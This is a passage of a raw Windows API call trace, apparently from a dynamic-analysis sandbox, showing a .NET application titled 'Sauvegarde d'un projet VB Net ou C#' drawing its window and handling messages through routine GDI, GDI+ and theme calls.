GetCurrentObject (hdc=0x440101a0, type=0x7) returned 0xa0506be [0252.476] GetCurrentObject (hdc=0x440101a0, type=0x6) returned 0x18a002e [0252.476] SaveDC (hdc=0x440101a0) returned 2 [0252.476] GetNearestColor (hdc=0x440101a0, color=0xf0f0f0) returned 0xf0f0f0 [0252.476] CreateSolidBrush (color=0xf0f0f0) returned 0x291006b3 [0252.476] FillRect (hDC=0x440101a0, lprc=0x52e314, hbr=0x291006b3) returned 1 [0252.476] DeleteObject (ho=0x291006b3) returned 1 [0252.476] RestoreDC (hdc=0x440101a0, nSavedDC=-1) returned 1 [0252.476] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0252.476] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0252.476] GetSystemMetrics (nIndex=42) returned 0 [0252.476] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0252.476] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0252.476] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0252.477] GetCurrentObject (hdc=0x440101a0, type=0x1) returned 0x1b00017 [0252.477] GetCurrentObject (hdc=0x440101a0, type=0x2) returned 0x1900010 [0252.477] GetCurrentObject (hdc=0x440101a0, type=0x7) returned 0xa0506be [0252.477] GetCurrentObject (hdc=0x440101a0, type=0x6) returned 0x18a002e [0252.477] SaveDC (hdc=0x440101a0) returned 2 [0252.477] GetNearestColor (hdc=0x440101a0, color=0xf0f0f0) returned 0xf0f0f0 [0252.477] CreateSolidBrush (color=0xf0f0f0) returned 0x2a1006b3 [0252.477] FillRect (hDC=0x440101a0, lprc=0x52e2b4, hbr=0x2a1006b3) returned 1 [0252.477] DeleteObject (ho=0x2a1006b3) returned 1 [0252.477] RestoreDC (hdc=0x440101a0, nSavedDC=-1) returned 1 [0252.477] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0252.477] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0252.477] GetSystemMetrics (nIndex=42) returned 0 [0252.477] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0252.477] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0252.477] RestoreDC (hdc=0x440101a0, nSavedDC=-1) returned 1 [0252.477] GdipReleaseDC (graphics=0x4da5930, hdc=0x440101a0) returned 0x0 [0252.477] IsAppThemed () returned 0x1 [0252.477] GetThemeAppProperties () returned 0x3 [0252.477] GetThemeAppProperties () returned 0x3 [0252.477] IsAppThemed () returned 0x1 [0252.477] GetThemeAppProperties () returned 0x3 [0252.477] GetThemeAppProperties () returned 0x3 [0252.477] IsThemePartDefined () returned 0x1 [0252.477] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0252.477] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0252.478] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0252.478] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0252.478] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0252.478] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0252.478] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0252.478] LocalFree (hMem=0x4fa4c70) returned 0x0 [0252.478] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0252.478] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0252.478] LocalFree (hMem=0x4fa4c70) returned 0x0 [0252.478] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0252.478] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0252.478] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0252.478] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0252.478] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0252.478] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0252.478] GetCurrentObject (hdc=0x440101a0, type=0x1) returned 0x1b00017 [0252.478] GetCurrentObject (hdc=0x440101a0, type=0x2) returned 0x1900010 [0252.478] GetCurrentObject (hdc=0x440101a0, type=0x7) returned 0xa0506be [0252.478] GetCurrentObject (hdc=0x440101a0, type=0x6) returned 0x18a002e [0252.478] SaveDC (hdc=0x440101a0) returned 1 [0252.478] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xa9040221 [0252.478] GetClipRgn (hdc=0x440101a0, hrgn=0xa9040221) returned 0 [0252.478] SelectClipRgn (hdc=0x440101a0, hrgn=0x7d0401e4) returned 2 [0252.479] DeleteObject (ho=0xa9040221) returned 1 [0252.479] DeleteObject (ho=0x7d0401e4) returned 1 [0252.479] OffsetViewportOrgEx (in: hdc=0x440101a0, x=0, y=0, lppt=0x23132fc | out: lppt=0x23132fc) returned 1 [0252.479] IsAppThemed () returned 0x1 [0252.479] GetThemeAppProperties () returned 0x3 [0252.479] GetThemeAppProperties () returned 0x3 [0252.479] DrawThemeBackground () returned 0x0 [0252.479] RestoreDC (hdc=0x440101a0, nSavedDC=-1) returned 1 [0252.479] GdipReleaseDC (graphics=0x4da5930, hdc=0x440101a0) returned 0x0 [0252.479] GdipCreateRegion (region=0x52e790) returned 0x0 [0252.479] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0252.479] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0252.479] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0252.479] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0252.479] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0252.479] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0252.479] LocalFree (hMem=0x4fa4c70) returned 0x0 [0252.479] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0252.479] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0252.479] LocalFree (hMem=0x4fa4c70) returned 0x0 [0252.479] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0252.480] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0252.480] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0252.480] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0252.480] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0252.480] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0252.480] GetCurrentObject (hdc=0x440101a0, type=0x1) returned 0x1b00017 [0252.480] GetCurrentObject (hdc=0x440101a0, type=0x2) returned 0x1900010 [0252.480] GetCurrentObject (hdc=0x440101a0, type=0x7) returned 0xa0506be [0252.480] GetCurrentObject (hdc=0x440101a0, type=0x6) returned 0x18a002e [0252.480] SaveDC (hdc=0x440101a0) returned 1 [0252.480] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7e0401e4 [0252.480] GetClipRgn (hdc=0x440101a0, hrgn=0x7e0401e4) returned 0 [0252.480] SelectClipRgn (hdc=0x440101a0, hrgn=0xaa040221) returned 2 [0252.480] DeleteObject (ho=0x7e0401e4) returned 1 [0252.480] DeleteObject (ho=0xaa040221) returned 1 [0252.480] OffsetViewportOrgEx (in: hdc=0x440101a0, x=0, y=0, lppt=0x23135d0 | out: lppt=0x23135d0) returned 1 [0252.480] IsAppThemed () returned 0x1 [0252.480] GetThemeAppProperties () returned 0x3 [0252.480] GetThemeAppProperties () returned 0x3 [0252.480] GetThemeBackgroundContentRect () returned 0x0 [0252.480] RestoreDC (hdc=0x440101a0, nSavedDC=-1) returned 1 [0252.480] GdipReleaseDC (graphics=0x4da5930, hdc=0x440101a0) returned 0x0 [0252.480] IsAppThemed () returned 0x1 [0252.480] GetThemeAppProperties () returned 0x3 [0252.480] GetThemeAppProperties () returned 0x3 [0252.480] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0252.480] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0252.480] GetCurrentObject (hdc=0x440101a0, type=0x1) returned 0x1b00017 [0252.480] GetCurrentObject (hdc=0x440101a0, type=0x2) returned 0x1900010 [0252.481] GetCurrentObject (hdc=0x440101a0, type=0x7) returned 0xa0506be [0252.481] GetCurrentObject (hdc=0x440101a0, type=0x6) returned 0x18a002e [0252.481] SaveDC (hdc=0x440101a0) returned 1 [0252.481] GetTextAlign (hdc=0x440101a0) returned 0x0 [0252.481] GetTextColor (hdc=0x440101a0) returned 0x0 [0252.481] GetCurrentObject (hdc=0x440101a0, type=0x6) returned 0x18a002e [0252.481] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0252.481] SelectObject (hdc=0x440101a0, h=0xc0a01e7) returned 0x18a002e [0252.481] GetBkMode (hdc=0x440101a0) returned 2 [0252.481] SetBkMode (hdc=0x440101a0, mode=1) returned 2 [0252.481] DrawTextExW (in: hdc=0x440101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x2313964 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0252.481] DrawTextExW (in: hdc=0x440101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x2313964 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0252.481] RestoreDC (hdc=0x440101a0, nSavedDC=-1) returned 1 [0252.481] GdipReleaseDC (graphics=0x4da5930, hdc=0x440101a0) returned 0x0 [0252.481] GetFocus () returned 0x10186 [0252.481] IsAppThemed () returned 0x1 [0252.481] GetThemeAppProperties () returned 0x3 [0252.481] GetThemeAppProperties () returned 0x3 [0252.481] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0252.482] BitBlt (hdc=0x100107ec, x=0, y=0, cx=163, cy=29, hdcSrc=0x440101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0252.482] GdipReleaseDC (graphics=0x4da5930, hdc=0x440101a0) returned 0x0 [0252.482] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0252.482] SelectObject (hdc=0x440101a0, h=0x185000f) returned 0xa0506be [0252.482] DeleteDC (hdc=0x440101a0) returned 1 [0252.482] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0252.482] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0252.482] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0252.482] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0252.482] WaitMessage () returned 1 [0252.569] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.569] IsWindowUnicode (hWnd=0x101a4) returned 1 [0252.569] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.569] TranslateMessage (lpMsg=0x52ef98) returned 0 [0252.569] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0252.569] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0252.569] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0252.569] WaitMessage () returned 1 [0252.783] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.783] IsWindowUnicode (hWnd=0x101a6) returned 1 [0252.783] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.783] TranslateMessage (lpMsg=0x52ef98) returned 0 [0252.783] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0252.783] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0252.783] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0252.783] WaitMessage () returned 1 [0256.076] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0256.076] IsWindowUnicode (hWnd=0x10186) returned 1 [0256.076] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0256.076] GetKeyState (nVirtKey=16) returned 0 [0256.076] GetKeyState (nVirtKey=17) returned 0 [0256.076] GetKeyState (nVirtKey=18) returned -127 [0256.076] SendMessageW (hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0256.076] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0256.076] GetKeyState (nVirtKey=16) returned 0 [0256.076] GetKeyState (nVirtKey=17) returned 0 [0256.076] GetKeyState (nVirtKey=18) returned -127 [0256.076] TranslateMessage (lpMsg=0x52ef98) returned 1 [0256.076] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0256.077] GetKeyState (nVirtKey=16) returned 0 [0256.077] GetKeyState (nVirtKey=17) returned 0 [0256.077] GetKeyState (nVirtKey=18) returned -127 [0256.077] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0256.077] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0256.077] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0256.077] WaitMessage () returned 1 [0256.088] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0256.088] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0256.088] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0256.088] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0256.106] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0256.106] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0256.106] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0256.106] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0256.107] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0256.107] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0256.107] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0256.342] NtdllDefWindowProc_W () returned 0x0 [0256.342] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0256.342] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0256.342] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0256.343] GetCapture () returned 0x0 [0256.343] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0256.343] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0256.343] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0256.343] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0256.343] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0256.343] IsWindowUnicode (hWnd=0x10186) returned 1 [0256.343] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0256.343] TranslateMessage (lpMsg=0x52ef98) returned 0 [0256.343] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0256.343] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x1401007f [0256.343] SelectPalette (hdc=0x1401007f, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0256.343] CreateCompatibleDC (hdc=0x1401007f) returned 0x570101a0 [0256.343] SelectObject (hdc=0x570101a0, h=0xa0506be) returned 0x185000f [0256.343] GdipCreateFromHDC (hdc=0x570101a0, graphics=0x52ea94) returned 0x0 [0256.343] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0256.343] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0256.343] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0256.343] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0256.343] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0256.343] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0256.343] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0256.344] LocalFree (hMem=0x4fa4c70) returned 0x0 [0256.344] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0256.344] GdipCreateRegion (region=0x52eadc) returned 0x0 [0256.344] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0256.344] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0256.344] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0256.344] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd890dbd) returned 0x0 [0256.344] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0256.344] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0256.344] GetCurrentObject (hdc=0x570101a0, type=0x1) returned 0x1b00017 [0256.344] GetCurrentObject (hdc=0x570101a0, type=0x2) returned 0x1900010 [0256.344] GetCurrentObject (hdc=0x570101a0, type=0x7) returned 0xa0506be [0256.344] GetCurrentObject (hdc=0x570101a0, type=0x6) returned 0x18a002e [0256.344] SaveDC (hdc=0x570101a0) returned 1 [0256.344] GetNearestColor (hdc=0x570101a0, color=0xf0f0f0) returned 0xf0f0f0 [0256.344] GetNearestColor (hdc=0x570101a0, color=0xa0a0a0) returned 0xa0a0a0 [0256.344] GetNearestColor (hdc=0x570101a0, color=0x696969) returned 0x696969 [0256.344] GetNearestColor (hdc=0x570101a0, color=0xa0a0a0) returned 0xa0a0a0 [0256.344] GetNearestColor (hdc=0x570101a0, color=0x0) returned 0x0 [0256.344] GetNearestColor (hdc=0x570101a0, color=0xffffff) returned 0xffffff [0256.344] GetNearestColor (hdc=0x570101a0, color=0xe5e5e5) returned 0xe5e5e5 [0256.344] GetNearestColor (hdc=0x570101a0, color=0xd7d7d7) returned 0xd7d7d7 [0256.345] GetNearestColor (hdc=0x570101a0, color=0x0) returned 0x0 [0256.345] RestoreDC (hdc=0x570101a0, nSavedDC=-1) returned 1 [0256.345] GdipReleaseDC (graphics=0x4da5930, hdc=0x570101a0) returned 0x0 [0256.345] IsAppThemed () returned 0x1 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] IsAppThemed () returned 0x1 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x23a9978 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0256.345] IsAppThemed () returned 0x1 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] IsAppThemed () returned 0x1 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] GetFocus () returned 0x0 [0256.345] IsAppThemed () returned 0x1 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] IsAppThemed () returned 0x1 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] IsThemePartDefined () returned 0x1 [0256.345] IsAppThemed () returned 0x1 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0256.345] IsAppThemed () returned 0x1 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] IsAppThemed () returned 0x1 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] GetThemeAppProperties () returned 0x3 [0256.345] IsThemePartDefined () returned 0x1 [0256.345] GdipCreateRegion (region=0x52e804) returned 0x0 [0256.345] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0256.346] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0256.346] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0256.346] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0256.346] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0256.346] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0256.346] LocalFree (hMem=0x4fa4c70) returned 0x0 [0256.346] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0256.346] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0256.346] LocalFree (hMem=0x4fa4c70) returned 0x0 [0256.346] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0256.346] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0256.346] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0256.346] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0256.346] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0256.346] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0256.346] GetCurrentObject (hdc=0x570101a0, type=0x1) returned 0x1b00017 [0256.346] GetCurrentObject (hdc=0x570101a0, type=0x2) returned 0x1900010 [0256.346] GetCurrentObject (hdc=0x570101a0, type=0x7) returned 0xa0506be [0256.346] GetCurrentObject (hdc=0x570101a0, type=0x6) returned 0x18a002e [0256.346] SaveDC (hdc=0x570101a0) returned 1 [0256.346] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xab040221 [0256.346] GetClipRgn (hdc=0x570101a0, hrgn=0xab040221) returned 0 [0256.346] SelectClipRgn (hdc=0x570101a0, hrgn=0x850401e4) returned 2 [0256.346] DeleteObject (ho=0xab040221) returned 1 [0256.346] DeleteObject (ho=0x850401e4) returned 1 [0256.346] OffsetViewportOrgEx (in: hdc=0x570101a0, x=0, y=0, lppt=0x23aa028 | out: lppt=0x23aa028) returned 1 [0256.346] DrawThemeParentBackground () returned 0x0 [0256.347] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0256.347] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0256.347] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0256.347] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0256.347] GetSystemMetrics (nIndex=42) returned 0 [0256.347] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0256.347] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0256.347] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0256.347] GetCurrentObject (hdc=0x570101a0, type=0x1) returned 0x1b00017 [0256.347] GetCurrentObject (hdc=0x570101a0, type=0x2) returned 0x1900010 [0256.347] GetCurrentObject (hdc=0x570101a0, type=0x7) returned 0xa0506be [0256.347] GetCurrentObject (hdc=0x570101a0, type=0x6) returned 0x18a002e [0256.347] SaveDC (hdc=0x570101a0) returned 2 [0256.347] GetNearestColor (hdc=0x570101a0, color=0xf0f0f0) returned 0xf0f0f0 [0256.347] CreateSolidBrush (color=0xf0f0f0) returned 0x2b1006b3 [0256.347] FillRect (hDC=0x570101a0, lprc=0x52e314, hbr=0x2b1006b3) returned 1 [0256.347] DeleteObject (ho=0x2b1006b3) returned 1 [0256.347] RestoreDC (hdc=0x570101a0, nSavedDC=-1) returned 1 [0256.347] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0256.347] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0256.347] GetSystemMetrics (nIndex=42) returned 0 [0256.347] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0256.347] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0256.348] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0256.348] GetCurrentObject (hdc=0x570101a0, type=0x1) returned 0x1b00017 [0256.348] GetCurrentObject (hdc=0x570101a0, type=0x2) returned 